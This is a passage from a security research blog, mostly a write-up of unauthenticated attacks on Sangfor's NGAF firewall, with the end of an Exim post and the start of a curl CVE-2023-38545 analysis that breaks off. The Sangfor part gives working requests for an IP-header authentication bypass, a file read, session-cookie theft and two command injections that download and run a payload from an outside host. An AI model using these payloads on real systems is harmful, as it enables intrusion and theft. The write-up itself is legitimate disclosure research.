So, our advice is the usual - patch when you can, once patches are available (Exim have stated they will release patches at 12:00 UTC today, Monday 2nd October). But in the meantime, don’t panic - this one is more of a damp squib than a world-ending catastrophe.

90s Vulns In 90s Software (Exim) - Is the Sky Falling?

Brief FAQ

I bet you have loads of questions, so let’s have a simple FAQ to answer the burning questions you might have.

  • I don’t use SPA auth, or internal auth. I don’t have a malicious DNS server and I don’t use the spf condition in my ACLs. Finally, I don’t use that weird Exim Proxy thing. Do I have anything to worry about?

Not at all. Patch at your leisure if you like, but you’ve likely got zero exposure.

  • I don’t know if I use SPA or internal auth! How can I find out?!

Look in your Exim config (if you don’t know where it is, run exim4 -bP configure_file to find out). If you find the following lines, you are likely using one of the affected authentication mechanisms:

driver = external

Or for SPA:

driver = spa
  • Why are we only seeing disclosure now, given that the initial report was in June 2022?

🤷

Please exercise caution and apply patches to systems you identify internally as running an affected version of Exim - but, luckily(?) this is not the end-of-the-world moment it was purported to be.

If you'd like to learn more about how the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition

By: Sonny
5 October 2023 at 08:02
Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition

You’re likely seeing a trend - yes, we know, we look at a lot of enterprise-grade software and appliances. Today, we’re not here to change your expectations of us - we’re looking at more enterprise-grade software and appliances.

Today, we’re looking at Sangfor’s Next Gen Application Firewall (NGAF).

Sangfor (or, Sangfor Technologies) is a "Chinese manufacturer of network equipments including WAN optimization, Next-Generation Firewall, and SSL VPN, sells its products mainly to midsize enterprises".

Sangfor describe themselves as being the right-place for “effective cybersecurity and efficient enterprise cloud solutions”. We know this (in addition to ‘because they say it on their website’), because “At Sangfor, we believe in providing only the best IT architecture and security solutions for our clients”.

Here’s a little from Sangfor about their NGAF:

“Sangfor NGAF is the world's first AI-enabled and fully integrated NGFW (Next-Generation Firewall) + WAF (Web Application Firewall) with an all-around protection from all threats powered by innovations such as Neural-X and Engine Zero. It is a truly secured, integrated and simplified firewall solution, providing a holistic overview of the entire organization's security network, with ease of management for administration, operation & maintenance.”

Brilliant.

Before you go on this journey with us, we want to be explicitly clear - Sangfor has told us all the vulnerabilities in this blog post are either a) already fixed or b) false-positives. We're not claiming 0days. Therefore, we are thrilled to share our analysis of old vulnerabilities and what we are led to believe (by Sangfor) is intentional behaviour by design, and ultimately are just glad we didn’t need to apply our 90-day disclosure policy.

Inquisitive minds might say “where are the public advisories to warn clients of these already existing and patched vulnerabilities?”. Inquisitive minds might also ask how such vulnerabilities ever made their way into production, security appliances in the first place? Luckily, we are not inquisitive and are happy to not question these mundane things.

Anyway, we digress. As obsessive readers of our blog posts will know, we regularly target enterprise technology that we see in the attack surfaces of the organisations we are proud to work with.

Obsessive readers will also be familiar with our deep obsession with secure firewall and VPN appliances - we’re not full of imagination, we just want our entry point into networks.

Looking for fish

In previous blog posts, we’ve shown in quite some detail the extensive steps taken to break an application - the extraction of HTTP routes, hunting of parameters, and how we qualify portions of functionality as ‘of interest’ in the target software we’re breaking. However, before all that can take place, a decision has to be made - is the target of interest, and worth an investment of time at all?

This type of decision can be influenced by widely varying factors, such as code complexity, real-world impact, security transparency (ha ha), and in this particular case, the ‘hacker sixth sense’ - does it exude the tell-tale of potentially weak software?

Sangfor’s NGAF caught our attention as a potential target for research, mostly due to its lack of CVE disclosures. This usually indicates that either the security community has yet to pillage its code, the appliance in question truly is secure or the ever more likely answer - a bug bounty program littered with NDAs and similar type agreements mystifies the security process!

We were able to gain access to an image of Sangfor's NGAF on AWS via https://aws.amazon.com/marketplace/pp/prodview-uujwjffddxzp4 using the build version AF8.0.17.364.

Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition
Based on redirect behaviour, port and server banner iis8.0

Before getting into the grimey depths of code and workflows, theres a variety of tips n tricks we can use from a bird eye view to calculate the ‘pot odds’ of success. These ‘pot odds’ will help us decide how likely we are to find a bug, and thus, how much time and effort we should spend auditing the target.

Much to many critics dismay, the first ‘tell’ we see in the codebase is the fact that this supposedly “Next Generation” appliance utilises a mixture of PHP and C++ CGI binaries. We’ve previously seen how custom PHP applications can end in security heartache, and you only have to look at our recent deep dive into Juniper Firewalls for an example - but don’t take our word for it, even Sangfor’s developers have a poor opinion of PHP and we couldn’t agree more.

Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition

It’s also interesting to note that codebases that contain such profanity are a ‘tell’ in themselves - the developers either didn’t intend this code to be viewed by the public, or simply didn’t care about looking unprofessional - in our opinion.

Clearly, our ‘pot odds’ are looking pretty good.

When server-side becomes client-side..

Other than looking for profanity and comments within the application's code base, we first just give the appliance the proverbial kicking of the tires.

As we get a feel for the appliance, we begin to probe for interesting behaviour that might reveal inner workings of the tech stack and architecture of the solution.

Very quickly, we stumble into a ‘tell’ to raise the bet significantly on the Sangfor NGAF.

When making a request for the target server’s PHP files, should a non-numeric value be present in the Content-Length header, the server responds with a HTTP Status 413 (”content too large”). This isn’t out of the ordinary, however, what is out of the ordinary is that the server side source code (PHP) is dumped within the response (??):

curl --insecure  https://<host>:85/index.php -H "content-Length:asdf"
HTTP/1.1 413 Request Entity Too Large
Date: Tue, 03 Oct 2023 10:08:06 GMT
Server:       
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/index.php<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
</body></html>
<?php 
/*
 * @Func:	所有的请求都用apache服务器mod_rewrite模块改写URL规则,重新定向到这个php文件
 */
session_start();

//统一使用webapps作为根目录定位其它文件
require_once("../class/common/conf/config_inc.php");
if(SANGFOR_LANGUAGE == 'en.UTF-8') {
	require_once("../conf/lang/eng.utf8.lang.app.php");
}

else {
	require_once("../conf/lang/chs.utf8.lang.app.php");
}

//判断是否存在硬盘
if(@file_exists("/etc/sinfor/log/diskerror.log")) {
	header("Content-Type:text/html; charset=utf-8");
	echo LOG_DISK_ERROR;
	exit(0);
}

//对于高端母盘设备ssd+hdd判断hdd是否异常
if(@file_exists("/etc/sinfor/log/adv_diskerror.log")) {
	header("Content-Type:text/html; charset=utf-8");
	echo LOG_DISK_ERROR;
	exit(0);
}

require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");

$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();
?>

A few hours later, after staring hard at our screens, we made a decision that this is probably not intended (Sangfor disagreed).

As an educated guess, what we’re most likely looking at is an integer handling issue that happens somewhere in the CGI handler. Unfortunately typically sensitive files (a config.php, etc) that would be useful in a vulnerability primative of this type for escalating access, were not.

Whilst the above behaviour was of interest, we didn’t find ourselves satisfied with the level of mayhem achieved - but did feel that we’d proven to ourselves that this appliance had likely met the bar for ‘interesting’. Thus, it was time to dig in.

Shuffle up and deal

For our friends following along at home we quickly enumerated services exposed using the command: lsof -nP -i | grep LISTEN from a local shell on the NGAF. As a tl;dr, we were able to see that we have two HTTPS services open, listening on 0.0.0.0;

  • Port 85/TCP, running the ‘Firewall Report Center’, and ,
  • Port 4433/TCP, running the ‘Administrator Login Portal’.

Naturally, we dived into port 85/TCP .

Mapping out entry points into this service - defined within an Apache config located at /etc/apache/conf.new/original/httpd.conf .

When looking to understand the metaphorical attack surface exposed by an appliance and specifically within Apache web server config files, we look for Location, ScriptAlias and Alias directives. Doing so usually provides us with a nice list of endpoints and exposed directories, and indeed in the case of this secure, hardened AI-powered Sangfor device, the presented results include a rich list of possibilities:

Alias /icons/ "/virus/apache/apache/icons/"
Alias /bbc "/virus/webui/ext/fast_deploy.html"
Alias /manual/ "/virus/apache/apache/htdocs/manual/"
Alias /cgi-bin/ "/virus/webui/cgi-bin/"
Alias /svpn_html/ "/virus/webui/svpn_html/"
Alias /proxy.html "/virus/webui/ext/login.php"
Alias /proxy_cssp.html "/virus/webui/ext/login.php"

However, attempting to access any of these items resulted in redirection to authenticate - at LogInOut.php.

Post-authentication bugs are not of interest to us though - we have a higher-calling for pre-authenticated vulnerabilities only. Time to look at the Apache config again.

Further analysis of this config reveals a RewriteRule rule, which rewrites all requests to index.php, which contains several require ’s and more importantly - a call to a controller class.

require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");

$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();

This controller class is what handles our application-level routing. It is all mapped out in CFrontController.php, where we can see endpoints and the corresponding Controller functions associated with each:

Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition

None of these are directly accessible via the web interface without first authenticating, so it’s time to look at the function that invokes these. That’s the dispatchRequest() function.

Within seconds of looking at this, we see our next point of interest - the function’s inclination to check for authentication before forwarding the request.

We can see an IF condition which checks $_SERVER['REMOTE_ADDR'] (ie, the client’s IP address) against the value of 127.0.0.1 (localhost), and should this match, then the boolean $t_boolNeedCheck is set to false and the rest of the redirect logic is bypassed.

Conditional authentication at its finest.

public function dispatchRequest()
	{
		$t_objController = $this->getControllerInstance();
		if($t_objController) {
			//是否需要判断跨站攻击,一般登录页面不需要判断跨站攻击
			if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')
				$t_boolNeedCheck = false;
			else
				$t_boolNeedCheck = true;
			if(isset($t_objController->m_boolNeedCheck))
				$t_boolNeedCheck = $t_objController->m_boolNeedCheck;
			//防止跨站攻击
			if($this->isAuthUser() && strcmp($_SERVER['REMOTE_ADDR'],"127.0.0.2") != 0 && !isset($_REQUEST['scinfo']) && !isset($_REQUEST['sd_t']) && (!isset($_GET['sid']) || $_GET['sid'] != session_id()) && $t_boolNeedCheck)
			{
				//要设置t_boolNeedCheck = false,要不会有重定向死循环
				CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');
				exit(0);
			}
			$t_fStartTime = $this->costMicroTime();
			$t_strResult = $t_objController->action($this->m_objConf, $this->m_arrReturn);
			$t_fEndTime = $this->costMicroTime();
			$t_fTotal = $t_fEndTime - $t_fStartTime;
			
			CMiscFunc::printMsg($t_fTotal);
			return true;
		}
		CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');
		return false;
	}

Can we, as external attackers, control the IP address that PHP sees, or are there opportunities for SSRF-type vulnerabilities that we can use to bypass this bastion-of-strength security control?

Well, in the real world, there are a few headers that might facilitate this - such as X-Forwarded-For and X-Real-Ip HTTP request headers, but experimentation proved these to have no effect.

Once again, referring back to the httpd.conf, we can see an unusual but suspicious directive - RPAFheader Y-Forwarded-For. This directive, which is loaded from the module mod_rpaf, allows clients to set their ‘remote’ IP address… useful. Probably intended functionality, we thought to ourselves.

A quick test of a request involving Y-Forwarded-For: 127.0.0.1 shows that we are no longer redirected to the login page when making an unauthenticated request.

Shazam! Our first stage in a potential vulnerability chain is hit, as this opens up a “whole new world” of application attack surface for us - all of the Alias’s defined within the Apache config.

For example, the previously-inaccessible /vmp_getinfo becomes within our grasp:

curl --insecure  https://<host>:85/vmp_getinfo -H "Y-Forwarded-For: 127.0.0.1"
Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition
This is an after thought but we had spent some time thinking about the actual purpose of this setting as it’s not used anywhere within the code. Perhaps it was utilised during testing or had some initial purpose removed from later versions? We’ll leave this idea with yourselves but you know, computers and code aren’t magic.

Show me just a bit more..

Armed with interesting behaviour up our sleeve, it’s time to set out and see where next we’ll go?

Heading back to the Apache config file, there’s an interesting Alias directive set - /svpn_html/ "/virus/webui/svpn_html/” - which presents a much larger set of application code and functionality to kick.

loadfile.php caught our attention, which accepts a single parameter file, parses it’s path, reads the contents, and writes to the response. Looks like an easy win for an Arbitrary File Read:

<?php
function get_basename($filename){
    return preg_replace('/^.+[\\\\\\\\\\\\/]/', '', $filename);
}
$file = addslashes($_GET['file']);

echo $file;
//add by 1w
$file_path = pathinfo($file);

$extname = $file_path ['extension'];
$filename = "";

if (!file_exists($file)) {
    die("File Not found");
}
$filename = get_basename($file);

$ua = $_SERVER["HTTP_USER_AGENT"];
header('Content-type: application/octet-stream');
if (preg_match("/Firefox/", $ua)) {
    header('Content-Disposition: attachment; filename*="utf8\\'\\'' . $filename . '"');
} else {
    header('Content-Disposition: attachment; filename="' . urlencode($filename) . '"');
}
readfile($file);

if($needDelete) {
    @unlink($file);
}
?>
Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition
curl --insecure  https://<host>:85/svpn_html/loadfile.php?file=/etc/./passwd -H "y-forwarded-for: 127.0.0.1"

Kapow! Progress is good.

Just a reminder that this is the "world's first AI-enabled and fully integrated NGFW (Next-Generation Firewall) + WAF (Web Application Firewall) with an all-around protection from all threats powered by innovations such as Neural-X and Engine Zero".

Whilst it’s always a glorious screenshot to hit that /etc/passwd we wanted to see what was the maximum impact that could be accrued for our fellow readers. Short of finding cleartext credentials we did discover a number of files which show live PHPSESSID, so we could hijack sessions, theres a whole selection of them to take your pick from:

/etc/sinfor/DcUserCookie.conf
/etc/en/sinfor/DcUserCookie.conf
/config/etc/sinfor/DcUserCookie.conf
/config/etc/en/sinfor/DcUserCookie.conf
Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition

If you’re still looking for easier ways of gaining access as a live Administrator, you could just peak into the Apache Access Logs and see the cookies passed via GET requests. Bug Triagers will be in shambles at this “low” finding but here we are chilling as Admins.

/virus/apache/apache/logs/access_log
Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition

Editors note: we feel like the unofficial sysadmins of certain countries at this point (and I hope someone gets the reference).

The turn

It’s at this moment we had to stop and give pause. How could a “Next Generation” Application Firewall have such an easy, low-hanging vulnerability? Is it possible that this is truly so innovative and next-generation that we’re seeing new things?

Well, for now we’re happy to accept it - our chances of finding the Holy Grail of unauth Remote Command Execution just increased, and it is now time to go all in with our hand.

Looking further through the cursed mess of PHP files, the next file to catch our eye is HttpHandler.php, which presents AJAX like functionality. It expects two request parameters, controler and action, and uses them to invoke a controller class and a public function as specified:

public function process()
	{
		try
		{
    		$controller=$_REQUEST["controler"];
    		$action=$_REQUEST["action"];

    		$this->validPara($controller, 'AjaxReq_NoConctroler');
    		$this->validPara($action, 'AjaxReq_NoAction');
    		$controller = $controller."Controller";

    		//反射controller类信息
    		$classInfo = new ReflectionClass($controller);

    		//创建controller类实例
    		$instance=$classInfo->newInstance();

    		//反射得到action方法
    		$methodInfo = $classInfo->getMethod($action);

    		//反射得到action参数表
    		$parainfos=$methodInfo->getParameters();
    		$paras=array();

For example, should the device be domain connected, we can retrieve the configuration data via /svpn_html/delegatemodule/HttpHandler.php?controler=ExtAuth&action=GetDomainConf&id=3

HTTP/1.1 200 OK
Date: Wed, 13 Sep 2023 08:47:12 GMT
Server:

X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=k0bo7srcg6kbsotog2qnrhpns2; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 303
Connection: close
Content-Type: text/html

{"code":0,"success":true,"result":{"devName":"**<redacted>**","svrDomainName":"","logSvrDomain":"","domainComputer":"","srvDomainAddr":"","domainUserName":"","domainUserPwd":"","enableDomain":0,"eanbleDomainAuth":0},"message":"Operation success","readOnlyInfo":{"enable_ids":"","disable_ids":"","readonly":1}}

Yes, really.

In total, there are 20 controllers and over a hundred functions to audit. Unfortunately for us, though, the majority of public functions that seem to have interesting behaviour also check for “proper” (i.e. in addition to the ‘source IP’) authentication and we’re once again redirected to a login page (with no bypass this time).

We did find one ‘write’ function that lacked authentication checks, allowing us to write to an SQLite database and create new SSO Users for the SSL VPN. We'll leave it to your imagination as to the impact of this.

Funnily enough, it was also vulnerable to an SQL injection, but since the underlying DBMS was SQLite, this was of limited utility for RCE.

POST /svpn_html/delegatemodule/HttpHandler.php HTTP/1.1
Host: 
Y-Forwarded-For: 127.0.0.1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

controler=User&action=SetUserSSOInfo&userid=watchTowr&rcids=0&ssouser=watchTowr&ssopwd=watchTowr

After spending a considerable amount of time auditing the appliance, we had;

  • Authentication Bypass
  • Source Code Disclosure
  • Local File Read
  • The ability to add our own SSO users
  • The ability to dump Active Directory configuration information, including username and password.

But, we were at a loss. Is Remote Command Execution going to evade us? Is this device truly secure?

Colluding with Pspy

At this point in the process, it was time to reassess our clearly failing approach. We needed more transparency to make sense of the code interacting with the system.

With most applications like this, the prominent injection types are Command and SQL. Perhaps we can enhance visibility in these areas by enabling Trace logs in the database configurations or by grep’ping all OS commands taking place?

Looking through the various classes we can see that developers like to execute shell commands using shell_exec , exec and popen . The code is a little bit of a forest to trace, and so we used pspy to assist.

Pspy is a useful little tool, often used by CTF teams, which will sit in the background and log all processes being spawned and their arguments - very good for spotting command injection, which we suspected would be the quickest route to RCE.

Placing the pspy binary on the target box, along with the grep command, allows visibility into what was being spawned by the Apache process:

Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition

After running this through all the controllers and functions again, we were still unable to locate any clear points of injection. At this point after exhausting the codebase for this service, we decided to take a break and give up (ha ha).

Here’s a good example of getting lucky - while authenticating as normal, some divine force nudged our fingers and we accidentally typed the wrong username. We still had pspy observing processes, and our eyes widened as we saw:

Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition

As you can see in the pspy capture above, the username Admi is passed directly into a shell command… could it be possible to inject our own commands into the username parameter on the login page?

Surely this is not plausible… a run-of-the-mill scanner, pentester, or bounty hunter would have picked it up, surely? Good job CAPTCHA.

Looking through the file CFWLogInOutDAO.php we can find the remoteLogin() function responsible for this:

public function remoteLogin(&$in_arrSearchCondition)
	{
		$userName = $in_arrSearchCondition ['user_name'];
		$passwd = $in_arrSearchCondition ['password'];
        //rsa的解密
		$t_strMD5 = $this->decrypt($passwd);		
		$fp = popen("/usr/sbin/remoteLogin remoteLogin $userName $t_strMD5", "r");
		$retResult = fread($fp, 20);
		pclose($fp);
		if ($retResult == "retLoginSuccess") {
			$in_arrSearchCondition ['user_name'] = $userName."_remote_";
			$t_strUserName = addslashes($in_arrSearchCondition ['user_name']);
			$t_strSQL = "SELECT * FROM FW_AUTH_dcuser.UserAuthInfo WHERE user_name = '$t_strUserName' AND status = 1 LIMIT 1";
			return $this->setSession($t_strSQL);
		}
		return false;
	}

Ironically, the developers call addslashes() on the username before processing within in a SQL statement, but no sanitisation before using it within the popen() function. Oops!

After some time playing around, we realised it was not possible to inject just any old special character in the username, as quotes and backticks (and even the logical operators || and &&) were not allowed due to mod_security. However, we noticed it could truncate the command with a semicolon.

Being the attention-seekers that we are, we wanted magical output that showed execution of the command from a single HTTP request to response - and thus, we had to get creative. The response details a static error message which is declared within the file /virus/dcweb/conf/lang/eng.utf8.lang.app.php .

Our new life goal was to write a command that outputs to this error message. Typically (we like this word), you would use some kind of encoding to get around the ‘ “ and mod_security limitations but base64 and xxd are not available on the appliance. To circumvent this we went with the following path to a winning hand:

  1. Hosting the payload externally on an HTTP server
  2. Fetch the payload using wget
  3. Execute the payload via source - We thought it was cooler than .
  4. sed replace the error message with the value of $(id)

What we’re left with is this awesome screenshot showing the win all in one place:

Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition

Request:

POST /LogInOut.php HTTP/1.1
Host:
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 625

type=logged&un=watchTowr;wget http://<host>/cmd.txt;source /virus/dcweb/webapps/cmd.txt&up=0f2df0a6f151e836c8ccd1c2ea3bfbdfb7bfa0d38d438942492bd8f28f3e92939319f932f2f2add6d0d484accdc4c28269b203c4dc77c1da941fa19dae017d44d6ea8cad2572e37c485a8ebcb4bdb510cc86420a50ae45ae07daf5fe9c40fe133f3806cd8f3158ee359766e8e19c9fbbf7e888bf0d7f3952f4d083bd17cd19eb960dadec2835f6f259616f5b2e5942d3a4d1754cbd69696fae60ef18358bf5782dd5ebf377f5642e0583e630660ccac241a615ae21bfc12852a32d0367a899eb010e5d1c33669fc2e9ea3a0ecbf078c22120196a115b4038288063bf99610d3d331acb53e5c8fbd14229a4abdff83cf075a7b97a9bb9dae3586f19256f4262d5&vericode=<correct captcha>

Cmd.txt Payload: sed -i s/Lock/"$(id)"/g /virus/dcweb/conf/lang/eng.utf8.lang.app.php

Response:

HTTP/1.1 200 OK
Date: Thu, 05 Oct 2023 07:46:53 GMT
Server:       
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate, no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 139
Connection: close
Content-Type: text/html

Error: uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) is triggered by too many login failures. Please try again 5 minute later!

Rabbit hunting

While it’s every researchers dream to find RCE, it is also quite disheartening to find such a simple bug waiting for discovery. One would expect that achieving RCE would require a beautiful chain of 2 or 3 vulnerabilities, using authorization bypasses, PHP object injection, and all sorts of other malarkey.

You can imagine the disappointment at how easy it was to achieve the big RCE in this appliance.

Just a reminder that this is the "world's first AI-enabled and fully integrated NGFW (Next-Generation Firewall) + WAF (Web Application Firewall) with an all-around protection from all threats powered by innovations such as Neural-X and Engine Zero".

Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition

We decided to give the appliance a second chance - perhaps some in-the-wild have port 85/TCP firewalled, and only 4433/TCP open. That would give us our chance to concoct a more sophisticated attack path, and gain more attention/Internet points.

The attack surface is slightly different on port 4433, in that the native flow authenticates via a C++ CGI file rather than via PHP. We toyed with the idea of spending our evenings in Ghidra analysing it, but the thought crossed our minds that perhaps the same developer who designed the login PHP script on port 85/TCP also developed the CGI modules, and maybe.. just maybe...

Inspired with that thought, we attempted the login flow with pspy still running. Using the same principle, we attempted to login with an incorrect username… lo and behold, another shell command is executed in a slightly different format. It is quite clear that the Cookie PHPSESSIONID was being used within an echo command to a temporary file.

POST /cgi-bin/login.cgi HTTP/1.1
Host: 
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: Application/X-www-Form
Connection: close
Content-Length: 113

 {"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "Y92N" , "privacy_enable": "0"}}

Pspy captures:

CMD: UID=65534 PID=31595  | sh -c echo loginmain.cpp is_vericode_vaild 1982 get the file : /tmp/sess_2e01d2ji93utnsb5abrcm780c2 context is failed errno : No such file or directory >> /tmp/login.log

As the value is taken from a cookie we’re unable to inject semicolons to truncate the command (or URL encode them). Instead, by utilising backticks (which are allowed this time) we could create our own variable and evaluate the contents inside brackets. Unfortunately there’s no beautiful sed output to be used here so you’ll have to settle with an out of bound request🙂

Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition
POST /cgi-bin/login.cgi HTTP/1.1
Host: 
Cookie: PHPSESSID=`$(wget host)`;
Content-Type: Application/X-www-Form
Connection: close

 {"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "EINW" , "privacy_enable": "0"}}

Ouch. RCE once again.

Just a reminder that this is the "world's first AI-enabled and fully integrated NGFW (Next-Generation Firewall) + WAF (Web Application Firewall) with an all-around protection from all threats powered by innovations such as Neural-X and Engine Zero".

The house ALWAYS wins

After amassing our fortune of vulnerability chips at the table, we had approached Sangfor’s technical team ready to cash out.

After a few exciting back and forth emails, we never managed to speak directly with the security team - but to the security team via technical support.

Sangfor’s team claimed to be either be fully aware of the issues, with patches already distributed, or unable to validate our findings, citing “false positives”. Perhaps we were swindled by the players next to us and ended up with unpublished N-days.

Either way, it was fun. We'll let you conclude in your own minds what may have, or may not, have happened.

Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition

Conclusion

When bounty hunters, researchers, or pentesters alike look at attack surfaces for vulnerabilities, its often an unsaid assumption that appliances such as firewalls and VPN’s are hardened, usually due to internal security review processes as well as competition with other individuals across multiple enterprises external processes.

Editors note: And the fact that they say 'security' and 'secure' across them, I guess.

It should go without saying that low-hanging fruit as demonstrated above should be non-existent in 2023 AD, a year in which we hoped that the investment required to discover real, impactful vulnerabilities had sharply increased. We hope this write-up changes that mindset - even an entry-level offensive-security lab course is very relevant for a widely-used and ‘next generation’ product such as this one.

By now, regular readers will be well aware that we love picking on such ‘hardened’ appliances here at watchTowr. Indeed, with bugs like these, it’s hard not to be interested - we’d encourage everyone with an interest in bug-hunting to pick up their nearest ‘next generation’ or ‘enterprise-grade’ firewall or VPN endpoint and start tearing it to pieces.

The real lesson here, for network defenders, is that we can’t assume these hardened devices are, well, hardened at all. Nothing beats network segmentation and the principle of least privilege, despite what the salesperson may tell you.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

DateDetail
13th September 2023Vulnerability discovered
14th September 2023Requested security contact for Sangfor
18th September 2023Received security contact, disclosed to Sangfor
18th September 2023watchTowr hunts through client's attack surfaces for impacted systems, and communicates with those affected.
26th September 2023Sangfor responds with each item:
- Authentication Bypass - False positive per Sangfor
- Local File Read - (Internally known issue - patch released(where?))
- Command Injection - (Internally known issue - patch released(where?))
- Source Code Disclosure - False positive per Sangfor
- SSO User Add/SQLite Injection - False positive per Sangfor
5th October 2023Blogpost and PoCs released to public

The Sky Has Not Yet Fallen - Curl (CVE-2023-38545)

11 October 2023 at 12:01
The Sky Has Not Yet Fallen - Curl (CVE-2023-38545)

There are few packages as ubiquitous as the venerable cURL project. With over 25 years of development, and boasting “over ten billion installations”, it’s easy to see why a major security flaw could bring the Internet to a standstill - it’s on our endpoints, it’s on our routers, it’s on our IoT devices. It’s everywhere. And it’s written in C - what could go wrong?

The Sky Has Not Yet Fallen - Curl (CVE-2023-38545)

Well, quite a lot, it seems.

A few months ago, the cURL maintainers warned us of a terrible, world-ending bug in their software, causing administrators and technical end-users alike to panic. Would attackers be able to hijack my enterprise router? My TV? My PDU, even!? The far-reaching effects of a real cURL RCE can not be overstated.

Fortunately, once the bug was released, it turned out to be a bit of (in popular parlance) “a nothingburger”, requiring a very specific environment in order to metastasise into real danger. A close shave, but the world could rest easy again.

The Sky Has Not Yet Fallen - Curl (CVE-2023-38545)

Last week, however, it looked liked history was repeating itself, as the cURL project announced a “severity HIGH CVE”. Administrators were urged to be ready to upgrade the second that patches were available (scheduled for today, October 11th), or suffer the dire consequences. Many were skeptical, some were worried.

Theories were abound - could this allow trivial SSRF vulnerabilities to be trivially converted into RCEs across the Internet? Could we see massive libcurl library exploitation in seemingly benign software that just made simple GET requests?

Don’t worry - patches are here, and we’re here to cut through the hype and figure out what’s actually going on.

Fumbling the Embargo

Well, the it seems bug dropped a little bit early, as a publicly-viewable patch was committed to RedHat’s curl repository. The patch looks pretty simple, and fortunately for us, comes with a test case to trigger the bug. Great! Let’s dig in and see what changed.

The Sky Has Not Yet Fallen - Curl (CVE-2023-38545)

That looks pretty straightforward. Two things have been removed: a warning (replaced with an error), and an assignment to the socks5_resolve_local variable. The comments above solidify our diagnosis:

The Sky Has Not Yet Fallen - Curl (CVE-2023-38545)

If you’ve used a SOCKS5 proxy, you may be aware that DNS resolution usually occurs on the ‘server’ end of the connection - the client requests a hostname, and the server does the neccessary DNS lookup to facillitate connection. However, the SOCKS specification states that hostnames must not exceed 255 characters, and so the developer who wrote this code was careful to avoid sending such long requests. Instead, if a request was submitted with a long hostname, the local system would simply resolve the host the itself, instead of using the SOCKS proxy.

No problem here, but if we take a look at other places where this socks5_resolve_local variable is assigned, we can see it near the top of the main Curl_SOCKS5 function. This function is invoked every time there is activity on the SOCKS connection.

CURLcode Curl_SOCKS5( .. )
{
bool socks5_resolve_local =
    (conn->socks_proxy.proxytype == CURLPROXY_SOCKS5) ? TRUE : FALSE;

This line simply enables the default behavior of resolving remotely, which has the unfortunate effect of undoing all the careful hostname-length checking that has been done in the previous invokation, leading to an attempt to remotely resolve a hostname which has failed the length check. The remote-resolution logic assumes that the hostname will never exceed 255 bytes, understandably, leading to a heap overflow.

The overflow actually occurs in the same function, in the following code snippet:

unsigned char *socksreq = &conn->cnnct.socksreq[0];

len = 0;
socksreq[len++] = 5; /* version (SOCKS5) */
socksreq[len++] = 1; /* connect */
socksreq[len++] = 0; /* must be zero */

if(!socks5_resolve_local) {
  socksreq[len++] = 3; /* ATYP: domain name = 3 */
  socksreq[len++] = (char) hostname_len; /* one byte address length */
  memcpy(&socksreq[len], hostname, hostname_len); /* address w/o NULL */
...

As you can see, we’re copying the hostname into this socksreq variable, which is itself assigned from the conn->cnnct.socksreq field. Since the limit of 255 bytes has been bypassed, the hostname may be anywhere up to approximately 64KB.

What does the bug affect?

Of course, vulnerability (and thus exploitation) hinges on this destination buffer cnnct.socksreq being smaller than the size of a potential hostname. At first glance, the official documentation appears to state that, in the default configuration, this is not the case:

An overflow is only possible in applications that do not set CURLOPT_BUFFERSIZE or set 
it smaller than 65541. Since the curl tool sets CURLOPT_BUFFERSIZE to 100kB by default 
it is not vulnerable unless rate limiting was set by the user to a rate smaller than 
65541 bytes/second.

But we mustn’t jump to conclusions without reading the full document. There’s a (bolded!) caveat at the bottom of the page.

**The analysis in this section is specific to curl version 8.** Some older versions of curl 
version 7 have less restriction on hostname length and/or a smaller SOCKS negotiation 
buffer size that cannot be overridden by [CURLOPT_BUFFERSIZE](<https://curl.se/libcurl/c/CURLOPT_BUFFERSIZE.html>).

It is, indeed, easy to cause version 7.74.0 of the cURL runtime to segfault with a public PoC:

